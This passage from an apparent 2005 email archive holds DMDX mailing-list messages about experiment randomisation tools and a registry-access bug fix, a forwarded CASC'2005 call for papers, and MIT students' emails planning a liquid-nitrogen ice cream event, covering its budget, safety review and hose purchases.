does a similar job is Shuffle http://www.pallier.org/ressources/shuffle/shuffle.html Shuffle is written in Perl language and hence is compatible across platforms. x. > For everyone who has a randomisation problem: I have a program that can > pseudo-randomise items according to a set of constrainst you can specify. > It could be of help to you. > > You will have to randomise your items before running DmDX, of course, > which is a bit more work, but on the other hand my program has many > more options and this way you have the opportunity to check the order(s) > before you run the experiment. > > There's even an option to prevent repeating patterns. > > You can download it, and a helpfile, at > http://www.mrc-cbu.cam.ac.uk/personal/maarten.van-casteren/Mix.htm > > Maarten van Casteren -- F.-Xavier ALARIO visiting : Grup de Recerca de Neurociència Cognitiva (GRNC) Parc Científic de Barcelona Hospital San Joan de Deu. Edifici Docent c/ Santa Rosa, 39-57 4ª Pta 08950 Esplugues - Barcelona +34 93 280 40 00 ext 4420 ",0,1 Maarten van Casteren ,DMDX@psy1.psych.arizona.edu,"Wed, 30 Mar 2005 11:03:41 +0100",[DMDX] Fwd: Re: question about randomization," > another program that does a similar job is Shuffle > > http://www.pallier.org/ressources/shuffle/shuffle.html > > Shuffle is written in Perl language and hence is compatible across platforms. Yes, but Mix has more features, and will also randomise in blocks, fix certain items in place, format the output, allow order-constraints etc. So, it is much more versatile, although indeed limited to Windows. Maarten ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Mar 2005 08:15:40 -0700",[DMDX] Re: Computer name not recording in .azk file,"At 06:58 PM 3/30/2005 +1000, you wrote: >Hi All, > >I've recently upgraded our DMDX labs from Windows 98 machines to new >Windows XP (SP2) machines. The machines we got were Dell Dimension 8400s >with ATI Radeon X300 video cards. > >I'm now only requiring people to only have user rights to the >machines. This is to stop people bringing in and installing their own >software onto them. These machines are optimised to run DMDX only and we >want to keep it that way. > >One quirk we've noticed is that the computer name is not being recorded in >the .azk file. Instead is being recorded in its >place. When I log in with an administrator account the computer name is >recorded. > >Does anyone have any ideas? It means that whatever function it is that I used for getting the machine's name isn't good for limited privileges. I'll have look at it some time and see if I can't find a better way to ascertain the machine's name. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Where there is sugar, there are ants. - Malaysian Proverb",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Mar 2005 08:20:51 -0700",[DMDX] Fwd: Re: question about randomization,"At 11:34 AM 3/30/2005 +0800, you wrote: > µù¡G Âà±H¶l¥ó¤wªþ¥[¤W¥h >I've read the Multi-Scarmbling keyword in the help. >In the first extended parameter, what are >and used for? Those are the S parameters for those scramble iterations like it says at the top of that page. > When I do miltiscramble2.itm, >should miltiscramble1.itm be inclueded in the same > or have another following the first one? You should never have to ""do"" miltiscramble2.itm, that is output that you can look at to check what's going wrong. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Where there is sugar, there are ants. - Malaysian Proverb",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Mar 2005 10:47:26 -0700",[DMDX] DMDX 3.1.2.6 and TimeDX 3.1.06," TimeDX 3.1.06 now has code in that overrides the use of a direct port address in the PIO test when the operating system doesn't allow direct port access. Prior to this it wouldn't enumerate those ports as choices when they weren't available, now it specifically won't allow their use even if you type a port number in. DMDX still won't check and will crash if you hack the registry to use a port address on a machine that's running NT, 2K or XP. DMDX 3.1.2.6 should now be able to determine the machine's name when running in a restricted privilege environment. Earlier it would ask for complete access to the registry key that contains the machine name even though it didn't need it, now it just asks for read access which should be available. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You should hardly ever equivocate. ",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Wed, 30 Mar 2005 14:29:00 -0700",CASC'2005 Computer Algebra in Scientific Computing,"forwarding. Vladik ------------- Begin Forwarded Message ------------- Date: Wed, 30 Mar 2005 19:53:00 +0300 From: ""Michael N. Vrahatis"" ============================================================== CASC'2005 The 8th International Workshop on Computer Algebra in SCientific Computing September 12-16 2005, Kalamata, Greece http://www.cargo.wlu.ca/casc2005/ *** EXTENDED SUBMISSION DEADLINE *** ============================================================== The 8th International Workshop in Computer Algebra in Scientific Computing, CASC'2005, will be held in the city of Kalamata, Greece, in September 12-16, 2005. ************************************************************************* The deadline for submission of papers has been extended to April 15, 2005 ************************************************************************* CASC General Conference Chairs: V.P. Gerdt (Dubna), E.W. Mayr (Munich) CASC'2005 Conference Chairs: I Z. Emiris (Athens), I S. Kotsireas (Waterloo), M N. Vrahatis (Patras) Conference Proceedings: Accepted papers will be published in the Springer-Verlag series Lecture Notes in Computer Science, LNCS, http://www.springeronline.com/lncs and will be available at the conference. Conference Hotel: HOTEL FILOXENIA CASC'2005 conference rate for double room: 38 euros (includes breakfast and taxes) CASC'2005 conference rate for double room: 52 euros (includes breakfast, lunch and taxes) CASC'2005 Satellite Workshops: Monday, September 12, 2005 1./ ""Algebraic and Matrix Computation with Applications"" organized by Emiris, Mourrain, Vrahatis http://cgi.di.uoa.gr/~erga/collab/calamataWorkshop.html 2./ ""Kalamata Combinatorics"" organized by Kotsireas and Koukouvinos http://www.cargo.wlu.ca/casc2005/KalamataCombinatorics/ -- ============================================== Michael N. Vrahatis, Professor, Department of Mathematics, University of Patras Artificial Intelligence Research Center (UPAIRC), University of Patras, GR-26110 Patras, Greece Tel: +30 2610 997374 Fax: +30 2610 992965 URL: http://www.math.upatras.gr/~vrahatis E-mail: vrahatis@math.upatras.gr ============================================== ------------- End Forwarded Message -------------",0,1 Frank Council ,rradez@mit.edu,"Wed, 30 Mar 2005 15:57:16 -0500",CPW Festival,"Rob.... I wanted to make sure you had received a confirmation that you did receive the space and funding ($1991) that you requested for the CPW Festival on Thursday April 7. I had a problem with my computer's hard drive a week or two ago and am concerned that the first confirmation email didn't make it to everyone. There will be an additional email coming out later this week that will talk more about the Festival logistics. Frank Frank Council Coordinator of Fraternities, Sororities, and Living Groups Massachusetts Institute of Technology W20-549 77 Massachusetts Avenue Cambridge, Massachusetts 02139-4307 fcouncil@mit.edu 617-258-9762 ",0,0 Rob Radez ,"harveyj@mit.edu, pr_abel@mit.edu","Wed, 30 Mar 2005 15:58:18 -0500",[fcouncil@MIT.EDU: CPW Festival],"happiness is getting confirmations rob ----- Forwarded message from Frank Council ----- From: Frank Council To: rradez@mit.edu Date: Wed, 30 Mar 2005 15:57:16 -0500 Subject: CPW Festival Rob.... I wanted to make sure you had received a confirmation that you did receive the space and funding ($1991) that you requested for the CPW Festival on Thursday April 7. I had a problem with my computer's hard drive a week or two ago and am concerned that the first confirmation email didn't make it to everyone. There will be an additional email coming out later this week that will talk more about the Festival logistics. Frank Frank Council Coordinator of Fraternities, Sororities, and Living Groups Massachusetts Institute of Technology W20-549 77 Massachusetts Avenue Cambridge, Massachusetts 02139-4307 fcouncil@mit.edu 617-258-9762 ----- End forwarded message ----- -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus",0,0 Harvey Jones ,Rob Radez ,"Wed, 30 Mar 2005 16:02:20 -0500",Re: [fcouncil@MIT.EDU: CPW Festival],"Ah, beautiful. Thanks a lot, Rob. On Wed, 30 Mar 2005 15:58:18 -0500, Rob Radez wrote: > happiness is getting confirmations > > rob > > ----- Forwarded message from Frank Council ----- > > From: Frank Council > To: rradez@mit.edu > Date: Wed, 30 Mar 2005 15:57:16 -0500 > Subject: CPW Festival > > Rob.... > > I wanted to make sure you had received a confirmation that you did receive > the space and funding ($1991) that you requested for the CPW Festival on > Thursday April 7. I had a problem with my computer's hard drive a week or > two ago and am concerned that the first confirmation email didn't make it > to everyone. There will be an additional email coming out later this week > that will talk more about the Festival logistics. > > Frank > > Frank Council > Coordinator of Fraternities, Sororities, and Living Groups > Massachusetts Institute of Technology > W20-549 > 77 Massachusetts Avenue > Cambridge, Massachusetts 02139-4307 > fcouncil@mit.edu > 617-258-9762 > > ----- End forwarded message ----- > > -- > Rob Radez MIT Class of 2006 > rradez@mit.edu East Campus >",0,0 Rob Radez ,Frank Council ,"Wed, 30 Mar 2005 16:03:54 -0500",Re: CPW Festival,"On Wed, Mar 30, 2005 at 03:57:16PM -0500, Frank Council wrote: > Rob.... > > I wanted to make sure you had received a confirmation that you did receive > the space and funding ($1991) that you requested for the CPW Festival on > Thursday April 7. I had a problem with my computer's hard drive a week or > two ago and am concerned that the first confirmation email didn't make it > to everyone. There will be an additional email coming out later this week > that will talk more about the Festival logistics. Thanks a lot! I was actually just about to send an email asking about this since I didn't get your first email. Rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Craig Richardson ,DMDX@psy1.psych.arizona.edu,"Thu, 31 Mar 2005 10:49:29 +1000",[DMDX] Re: DMDX 3.1.2.6 and TimeDX 3.1.06,"Thankyou Jonathan! Craig On 31/03/2005, at 3:47 AM, Jonathan C. Forster wrote: > > TimeDX 3.1.06 now has code in that overrides the use of a direct > port address in the PIO test when the operating system doesn't allow > direct port access. Prior to this it wouldn't enumerate those ports > as choices when they weren't available, now it specifically won't > allow their use even if you type a port number in. DMDX still won't > check and will crash if you hack the registry to use a port address on > a machine that's running NT, 2K or XP. > > DMDX 3.1.2.6 should now be able to determine the machine's name when > running in a restricted privilege environment. Earlier it would ask > for complete access to the registry key that contains the machine name > even though it didn't need it, now it just asks for read access which > should be available. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > You should hardly ever equivocate. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- Craig Richardson Systems Administrator Macquarie Centre for Cognitive Science Macquarie University Phone : +61 2 9850 6730 Fax : +61 2 9850 6059 Web : http://www.maccs.mq.edu.au ",0,1 Emily M Levesque ,Rob Radez ,"Fri, 01 Apr 2005 00:20:15 -0500",Re: things to do,"I'm currently in charge of buying stuff(I don't have a car, but I can find people who do). I'll check out the list and what we have from last year, and start making trips this weekend. This, as far as I know, encompasses the Home Depot stuff (goggles, gloves, suits, tarps) and the Costco stuff (a metric shit-ton of sugar, cocoa, etc.) The Home Depot run will probably go faster with only a couple people to haul stuff, but as more helpers are needed I'll make it known. I also have no classes on Thursday, so I'll try to field some of the ""shit-shit-we-need-*foo*"" stuff... ~Em Quoting Rob Radez : > howdy folks, > so i promised things would start hopping more after spring break, and > they are. we've got funding, we've got space, we've almost got safety > office approval. so now, we need to buy ingredients and various other > supplies. a week from today, we'll need to get everything moved over to > johnson, get everything prepped in the chapel kitchen, make ice cream > for a crapload of prefrosh, and get everything cleaned up. > > harvey's taking care of ordering ln2 as soon as I get the final ok from > safety. > > who wants to be in charge of buying shit? ideally someone with a car > will also be involved in this. there's a listing of shit in the budget > which is available on request. > > who wants to be in charge of arranging for, paying for, and acquiring > dairy products? > > who wants to buy two dewar hoses? > > we're going to need many people in the kitchen helping prepare the ice > cream before it gets frozen. i promise that if you want to mix ln2 and > ice cream batter, you will be given the opportunity to. being in the > kitchen is one of the most important jobs. you don't have to do it all > night but every bit helps. > > we're going to need people serving the ice cream, and mixing it. > > we're going to need help cleaning everything up afterwards. > > rob > > -- > Rob Radez MIT Class of 2006 > rradez@mit.edu East Campus >",0,0 Emily M Levesque ,rradez@mit.edu,"Fri, 01 Apr 2005 00:21:31 -0500","yeah, the list"," Can you send it to me, or tell me where to find it? Home Depot should be simple (gloves, suits, tarps, goggles, maybe spoons? Did we keep the stirring spoons?) and a list of ingredients will let me give Paul a rough estimate of the quantities he should consider in flavor recipes. ~Em ",0,0 Rob Radez ,Emily M Levesque ,"Fri, 01 Apr 2005 00:36:22 -0500","Re: yeah, the list","/mit/rradez/cryofac/budget-2005.txt the budget is not necessarily 100% correct. there are some things that we need that aren't on it, and some things that are on it that we don't need. we also need some non-slip mats to put on top of the tarps. rob On Fri, Apr 01, 2005 at 12:21:31AM -0500, Emily M Levesque wrote: > Can you send it to me, or tell me where to find it? > Home Depot should be simple (gloves, suits, tarps, goggles, maybe spoons? Did > we keep the stirring spoons?) and a list of ingredients will let me give Paul a > rough estimate of the quantities he should consider in flavor recipes. > > ~Em -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Rob Radez ,David Moore-Pitman ,"Fri, 01 Apr 2005 00:37:16 -0500",Re: things to do,"did you see scott's email about where to buy them from? other than that, i'm not really sure who to talk to about them. rob On Thu, Mar 31, 2005 at 11:30:57PM -0500, David Moore-Pitman wrote: > If you can tell me who to talk to, I'll take care of the dewar hoses. > I think Em is handling a lot of the buying shit.... > -Dave > > Rob Radez wrote: > > >howdy folks, > >so i promised things would start hopping more after spring break, and > >they are. we've got funding, we've got space, we've almost got safety > >office approval. so now, we need to buy ingredients and various other > >supplies. a week from today, we'll need to get everything moved over to > >johnson, get everything prepped in the chapel kitchen, make ice cream > >for a crapload of prefrosh, and get everything cleaned up. > > > >harvey's taking care of ordering ln2 as soon as I get the final ok from > >safety. > > > >who wants to be in charge of buying shit? ideally someone with a car > >will also be involved in this. there's a listing of shit in the budget > >which is available on request. > > > >who wants to be in charge of arranging for, paying for, and acquiring > >dairy products? > > > >who wants to buy two dewar hoses? > > > >we're going to need many people in the kitchen helping prepare the ice > >cream before it gets frozen. i promise that if you want to mix ln2 and > >ice cream batter, you will be given the opportunity to. being in the > >kitchen is one of the most important jobs. you don't have to do it all > >night but every bit helps. > > > >we're going to need people serving the ice cream, and mixing it. > > > >we're going to need help cleaning everything up afterwards. > > > >rob > > > > > > -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Matt McGann ,rradez@mit.edu,"Thu, 31 Mar 2005 12:09:49 -0500",Re: CPW Festival: East Campus Second West," Rob, You are approved for $1991 for CryoFAC at CPW Festival. Please make all arrangements for supplies and safety directly with the appropriate parties. Let us know if you need any assistance. -- Admissions CPW >------------------------------------------------------- >CPW FESTIVAL REGISTRATION > >Sponsor: East Campus Second West >Contact Person: Rob Radez >Contact Email: rradez@mit.edu >Event Name: CryoFac > >Event Description: >----------------- >Liquid Nitrogen ice cream for everyone > >Space required: 100 ft. x 100 ft. > >Additonal utilities: >Lobby of Johnson >7 long tables >Kitchen space (chapel kitchen would be great again) >6 Electrical outlets > >Requesting funding from Admissions? Y > >Itemized Budget: >--------------- >Ice Carving: $240 > 6 blocks: $240 > >General Supplies: $486 > 4 Tarps: $120 > 9 pairs industrial rubber gloves: $90 > 9 pairs safety goggles: $45 > 4 rolls of duct tape: $10 > 6 large, strong wooden/pyrex spoons: $45 > *spoons must be durable because they break in the super cold > temperature, chandler has 10 from 2004* > 4 pots: $120 > 2 large bottles of dish soap: $10 > 10 sponges: $10 > Gel: $36 > >Serving: $200 > 1500 styrofoam bowls: $60 > 1500 spoons: $40 > 40 aluminum baking trays: $40 > 6 serving spoons: $20 > *chandler has 5 from 2004* > 2000 napkins: $20 > 1000 paper towels: $20 > >Toppings: $140 > 15 cans whipped cream: $45 > 3 large jars of sprinkles: $20 > 15 various flavors of syrup: $75 > >Ingredients: $925 > 20 gallons heavy cream: $300 > 20 gallons whole milk: $60 > 6 cubes of eggs (~540): $55 > 100 lbs. of sugar: $50 > 6 giant bottles of vanilla extract: $60 > 24 C of cocoa: $50 > Various flavorings (frozen strawberries, mangoes, >pistachio, lemon, cookie dough): $250 > LN2: $100 > >To Be Provided > 7 large tables EC > Light and Sound Equipment EC > Jumpsuits, rainslickers EC > 3 pots EC > Refrigeration & kitchen storage space > Dolly EC > Mop, cleaning supplies > Ice carving tools EC > Many Trash cans DAPER > >Ice Cream for 1200 People = Total: $1991 > > >------------------------------------------------------- >NOTE: This message was sent using a WWW form. The address >rradez@mit.edu was typed manually, and may easily be incorrect. ",0,0 Kathryn Blass ,Rob Radez ,"Thu, 31 Mar 2005 16:57:57 -0500",Re: CPW Welcome/Liquid Nitrogen Ice Cream Again,"Hi Rob Thanks for asking the students to incorporate safety into their plans for CPW. We reviewed the plan. Would you please ask them if they have residual LN2 in the safety dewar that you use to transfer LN2? If so, what do they do with it? Once they have updated their plan, please send it to when you place your order. Thanks Susan Leite and Katie Blass EHS Office At 10:17 AM 3/28/2005 -0500, you wrote: >Good morning, >The CPW welcome festival this year would like to have liquid nitrogen >ice cream again in the lobby of Johnson. I have attached a copy of the >safety plan from last year which will hopefully be the basis of the >safety plan this year. CPW is scheduled to be Thursday 4/7 through >Sunday 4/10. > >Sorry for the short notice again, >Rob Radez > >-- >Rob Radez MIT Class of 2006 >rradez@mit.edu East Campus Katie Blass Environment, Health & Safety Office - Safety Program N52-496 Phone 617-253-9495 pager 800-225-0256 PIN 7815322313 EHS 617-452-3477",0,0 Joanna Tong ,Rob Radez ,"Fri, 01 Apr 2005 11:04:47 -0500",Re: things to do,"I'd really like to mix & serve, but don't mind spending some time helping prep in the kitchen too. -Jo At 11:15 PM 3/31/2005 -0500, you wrote: >howdy folks, >so i promised things would start hopping more after spring break, and >they are. we've got funding, we've got space, we've almost got safety >office approval. so now, we need to buy ingredients and various other >supplies. a week from today, we'll need to get everything moved over to >johnson, get everything prepped in the chapel kitchen, make ice cream >for a crapload of prefrosh, and get everything cleaned up. > >harvey's taking care of ordering ln2 as soon as I get the final ok from >safety. > >who wants to be in charge of buying shit? ideally someone with a car >will also be involved in this. there's a listing of shit in the budget >which is available on request. > >who wants to be in charge of arranging for, paying for, and acquiring >dairy products? > >who wants to buy two dewar hoses? > >we're going to need many people in the kitchen helping prepare the ice >cream before it gets frozen. i promise that if you want to mix ln2 and >ice cream batter, you will be given the opportunity to. being in the >kitchen is one of the most important jobs. you don't have to do it all >night but every bit helps. > >we're going to need people serving the ice cream, and mixing it. > >we're going to need help cleaning everything up afterwards. > >rob > >-- >Rob Radez MIT Class of 2006 >rradez@mit.edu East Campus ",0,0 Rob Radez ,Kathryn Blass ,"Thu, 31 Mar 2005 22:06:00 -0500",Re: CPW Welcome/Liquid Nitrogen Ice Cream Again,"Good evening, I believe the plan for disposing of small amounts of residual LN2 is to wait until the event is fully over and the crowds have dispersed and then release the remaining LN2 into the atmosphere outside the building in an open area. If this is safe and acceptable, I will incorporate it into the document and include it in the order information. Thanks, Rob Radez On Thu, Mar 31, 2005 at 04:57:57PM -0500, Kathryn Blass wrote: > Hi Rob > > Thanks for asking the students to incorporate safety into their plans for CPW. > We reviewed the plan. Would you please ask them if they have residual LN2 in > the safety dewar that you use to transfer LN2? If so, what do they do with > it? Once they have updated their plan, please send it to > when you place your order. > > Thanks > Susan Leite and Katie Blass > EHS Office > > > At 10:17 AM 3/28/2005 -0500, you wrote: > Good morning, > The CPW welcome festival this year would like to have liquid nitrogen > ice cream again in the lobby of Johnson. I have attached a copy of > the > safety plan from last year which will hopefully be the basis of the > safety plan this year. CPW is scheduled to be Thursday 4/7 through > Sunday 4/10. > > Sorry for the short notice again, > Rob Radez > > -- > Rob Radez MIT Class of 2006 > rradez@mit.edu East Campus > > Katie Blass > Environment, Health & Safety Office - Safety Program > N52-496 > Phone 617-253-9495 > pager 800-225-0256 PIN 7815322313 > EHS 617-452-3477 -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus",0,0 Rob Radez ,Matt McGann ,"Thu, 31 Mar 2005 22:11:28 -0500",Re: CPW Festival: East Campus Second West,"Howdy Matt, Thanks for the mail. We're in contact with Safety but I'm not sure of the current proper person to contact in DAPER regarding certain logistics (namely whether it's alright for us to get Dewars delivered earlier in the day again, and returning them the next morning). Also, when would we get access to the chapel kitchen? Thanks, Rob On Thu, Mar 31, 2005 at 12:09:49PM -0500, Matt McGann wrote: > > Rob, You are approved for $1991 for CryoFAC at CPW Festival. Please > make all arrangements for supplies and safety directly with the > appropriate parties. Let us know if you need any assistance. > > -- Admissions CPW > > >------------------------------------------------------- > >CPW FESTIVAL REGISTRATION > > > >Sponsor: East Campus Second West > >Contact Person: Rob Radez > >Contact Email: rradez@mit.edu > >Event Name: CryoFac > > > >Event Description: > >----------------- > >Liquid Nitrogen ice cream for everyone > > > >Space required: 100 ft. x 100 ft. > > > >Additonal utilities: > >Lobby of Johnson > >7 long tables > >Kitchen space (chapel kitchen would be great again) > >6 Electrical outlets > > > >Requesting funding from Admissions? Y > > > >Itemized Budget: > >--------------- > >Ice Carving: $240 > > 6 blocks: $240 > > > >General Supplies: $486 > > 4 Tarps: $120 > > 9 pairs industrial rubber gloves: $90 > > 9 pairs safety goggles: $45 > > 4 rolls of duct tape: $10 > > 6 large, strong wooden/pyrex spoons: $45 > > *spoons must be durable because they break in the super cold > > temperature, chandler has 10 from 2004* > > 4 pots: $120 > > 2 large bottles of dish soap: $10 > > 10 sponges: $10 > > Gel: $36 > > > >Serving: $200 > > 1500 styrofoam bowls: $60 > > 1500 spoons: $40 > > 40 aluminum baking trays: $40 > > 6 serving spoons: $20 > > *chandler has 5 from 2004* > > 2000 napkins: $20 > > 1000 paper towels: $20 > > > >Toppings: $140 > > 15 cans whipped cream: $45 > > 3 large jars of sprinkles: $20 > > 15 various flavors of syrup: $75 > > > >Ingredients: $925 > > 20 gallons heavy cream: $300 > > 20 gallons whole milk: $60 > > 6 cubes of eggs (~540): $55 > > 100 lbs. of sugar: $50 > > 6 giant bottles of vanilla extract: $60 > > 24 C of cocoa: $50 > > Various flavorings (frozen strawberries, mangoes, > >pistachio, lemon, cookie dough): $250 > > LN2: $100 > > > >To Be Provided > > 7 large tables EC > > Light and Sound Equipment EC > > Jumpsuits, rainslickers EC > > 3 pots EC > > Refrigeration & kitchen storage space > > Dolly EC > > Mop, cleaning supplies > > Ice carving tools EC > > Many Trash cans DAPER > > > >Ice Cream for 1200 People = Total: $1991 > > > > > >------------------------------------------------------- > >NOTE: This message was sent using a WWW form. The address > >rradez@mit.edu was typed manually, and may easily be incorrect. > -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Rob Radez ,jamwno@mit.edu,"Fri, 01 Apr 2005 12:17:53 -0500",[rradez@MIT.EDU: things to do],"i also added you to the cryofac@ mailing list. r ----- Forwarded message from Rob Radez ----- From: Rob Radez To: cryofac@mit.edu Date: Thu, 31 Mar 2005 23:15:22 -0500 Subject: things to do howdy folks, so i promised things would start hopping more after spring break, and they are. we've got funding, we've got space, we've almost got safety office approval. so now, we need to buy ingredients and various other supplies. a week from today, we'll need to get everything moved over to johnson, get everything prepped in the chapel kitchen, make ice cream for a crapload of prefrosh, and get everything cleaned up. harvey's taking care of ordering ln2 as soon as I get the final ok from safety. who wants to be in charge of buying shit? ideally someone with a car will also be involved in this. there's a listing of shit in the budget which is available on request. who wants to be in charge of arranging for, paying for, and acquiring dairy products? who wants to buy two dewar hoses? we're going to need many people in the kitchen helping prepare the ice cream before it gets frozen. i promise that if you want to mix ln2 and ice cream batter, you will be given the opportunity to. being in the kitchen is one of the most important jobs. you don't have to do it all night but every bit helps. we're going to need people serving the ice cream, and mixing it. we're going to need help cleaning everything up afterwards. rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ----- End forwarded message ----- -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus",0,0 Rob Radez ,cryofac@mit.edu,"Thu, 31 Mar 2005 23:15:22 -0500",things to do,"howdy folks, so i promised things would start hopping more after spring break, and they are. we've got funding, we've got space, we've almost got safety office approval. so now, we need to buy ingredients and various other supplies. a week from today, we'll need to get everything moved over to johnson, get everything prepped in the chapel kitchen, make ice cream for a crapload of prefrosh, and get everything cleaned up. harvey's taking care of ordering ln2 as soon as I get the final ok from safety. who wants to be in charge of buying shit? ideally someone with a car will also be involved in this. there's a listing of shit in the budget which is available on request. who wants to be in charge of arranging for, paying for, and acquiring dairy products? who wants to buy two dewar hoses? we're going to need many people in the kitchen helping prepare the ice cream before it gets frozen. i promise that if you want to mix ln2 and ice cream batter, you will be given the opportunity to. being in the kitchen is one of the most important jobs. you don't have to do it all night but every bit helps. we're going to need people serving the ice cream, and mixing it. we're going to need help cleaning everything up afterwards. rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 David Moore-Pitman ,Rob Radez ,"Thu, 31 Mar 2005 23:30:57 -0500",Re: things to do,"If you can tell me who to talk to, I'll take care of the dewar hoses. I think Em is handling a lot of the buying shit.... -Dave Rob Radez wrote: >howdy folks, >so i promised things would start hopping more after spring break, and >they are. we've got funding, we've got space, we've almost got safety >office approval. so now, we need to buy ingredients and various other >supplies. a week from today, we'll need to get everything moved over to >johnson, get everything prepped in the chapel kitchen, make ice cream >for a crapload of prefrosh, and get everything cleaned up. > >harvey's taking care of ordering ln2 as soon as I get the final ok from >safety. > >who wants to be in charge of buying shit? ideally someone with a car >will also be involved in this. there's a listing of shit in the budget >which is available on request. > >who wants to be in charge of arranging for, paying for, and acquiring >dairy products? > >who wants to buy two dewar hoses? > >we're going to need many people in the kitchen helping prepare the ice >cream before it gets frozen. i promise that if you want to mix ln2 and >ice cream batter, you will be given the opportunity to. being in the >kitchen is one of the most important jobs. you don't have to do it all >night but every bit helps. > >we're going to need people serving the ice cream, and mixing it. > >we're going to need help cleaning everything up afterwards. > >rob > > > ",0,0 David Moore-Pitman ,"johnston@mit.edu, carboxyl@mit.edu","Sat, 02 Apr 2005 14:58:00 -0500",Dewar Hoses?,"Hi guys- Would either of you know where we can get two dewar hoses? Also, do dewar hoses have a standard, or do I need to know the adapter diameter/thread? Thanks, eDave ",0,0 Emily M Levesque ,rradez@mit.edu,"Sat, 02 Apr 2005 15:08:32 -0500",Home Depot today,"Hey Rob: I'm planning to go to Home Depot w/ ladaher's car to get: -4 Tarps -non-slip mats (enough to cover walking areas around the mixing station and serving area) -9 pairs of beefy gloves (or as many as they have...) -9 pairs safety goggles -4 rolls of duct tape -9 slickers/jumpsuits The slickers were listed under ""donated by EC"", but we threw them all away last year, so we definitely need more. Do we really need 9 of everything? I'm all for having extras too, but on the jumpsuits especially it'll save $$ to buy only 6 or so (6 would fully cover two mixing stations). I just don't want to come back with more than we need. If this all looks right to you we'll go tonight. ~Em ",0,0 Emily M Levesque ,rradez@mit.edu,"Sat, 02 Apr 2005 15:35:48 -0500",changed my mind...," I lied, Quinn saved some garb from last year's CryoFAC. We have 7 safety goggles, which should be enough. We also have two complete large jumpsuits and two complete extra-large jumpsuits, plus two hoods and two extra sets of large bottoms, one with a leg torn off (?) (they're still good for someone who wants to look cool but not run the hose...) The jumpsuits smell like a year's worth of Putz closet but are very clean and wearable. Now I'm going to Home Depot tomorrow and getting: 4 Tarps non-slip mats 9 pairs of the gloves 4 rolls of duct tape Jumpsuits: 5 large jumpsuit bottoms 7 extra-large jumpsuit bottoms 7 large jumpsuit tops 7 extra-large jumpsuit tops ...or less if you agree that we don't REALLY need nine full jumpsuits... According to all the photos, nobody wears the hoods, so I'm skipping those unless there's a good reason. Sorry for the onslaught of email, just wanted you to know where the money is going! ~Em ",0,0 Scott Johnston ,David Moore-Pitman ,"Sat, 02 Apr 2005 15:38:22 -0500",Re: Dewar Hoses?,"On Sat, Apr 02, 2005 at 02:58:00PM -0500, David Moore-Pitman wrote: > Would either of you know where we can get two dewar hoses? Also, do > dewar hoses have a standard, or do I need to know the adapter > diameter/thread? As I mentioned in my February 28 e-mail to cryofac, these are 316 stainless flex hoses with 1/2"" female SAE flare fittings on each end. You can buy them from McMaster-Carr. I can look up the part number if you want. They cost $50-100 each. If you're going shopping you might as well pick up a sintered bronze phase separator for the end of the hose, which reduces transfer losses caused by gas bubbles spraying into the open container you're filling. There is supposed to be a hose in the Putz closet attached to the small dewar. Scott ",0,0 David Moore-Pitman ,Rob Radez ,"Sat, 02 Apr 2005 15:55:17 -0500",Re: Dewar Hoses?,"What length do we want? -Dave Scott Johnston wrote: >On Sat, Apr 02, 2005 at 02:58:00PM -0500, David Moore-Pitman wrote: > > > >>Would either of you know where we can get two dewar hoses? Also, do >>dewar hoses have a standard, or do I need to know the adapter >>diameter/thread? >> >> > >As I mentioned in my February 28 e-mail to cryofac, these are 316 stainless >flex hoses with 1/2"" female SAE flare fittings on each end. You can buy >them from McMaster-Carr. I can look up the part number if you want. They >cost $50-100 each. > >If you're going shopping you might as well pick up a sintered bronze >phase separator for the end of the hose, which reduces transfer losses >caused by gas bubbles spraying into the open container you're filling. > >There is supposed to be a hose in the Putz closet attached to the small dewar. > >Scott > > > ",0,0 David Moore-Pitman ,rradez@mit.edu,"Sat, 02 Apr 2005 16:16:22 -0500",Re: Dewar Hoses?,"I got the hose off the small dewar in the putz closet, so that's one. -Dave Scott Johnston wrote: >On Sat, Apr 02, 2005 at 02:58:00PM -0500, David Moore-Pitman wrote: > > > >>Would either of you know where we can get two dewar hoses? Also, do >>dewar hoses have a standard, or do I need to know the adapter >>diameter/thread? >> >> > >As I mentioned in my February 28 e-mail to cryofac, these are 316 stainless >flex hoses with 1/2"" female SAE flare fittings on each end. You can buy >them from McMaster-Carr. I can look up the part number if you want. They >cost $50-100 each. > >If you're going shopping you might as well pick up a sintered bronze >phase separator for the end of the hose, which reduces transfer losses >caused by gas bubbles spraying into the open container you're filling. > >There is supposed to be a hose in the Putz closet attached to the small dewar. > >Scott > > > ",0,0 Scott Johnston ,David Moore-Pitman ,"Sat, 02 Apr 2005 19:11:07 -0500",Re: Dewar Hoses?,"On Sat, Apr 02, 2005 at 02:58:00PM -0500, David Moore-Pitman wrote: > Would either of you know where we can get two dewar hoses? Also, do > dewar hoses have a standard, or do I need to know the adapter Looks like you want either McMaster P/N 54935K19 (no armor) or P/N 54935K29 (spiral armor, like the one I crufted). They are $126.75 and $141.23 respectively. These are the 3-ft versions. McMaster doesn't sell the phase separators. VWR does but they're about $150, so don't bother. Scott ",0,0 David Moore-Pitman 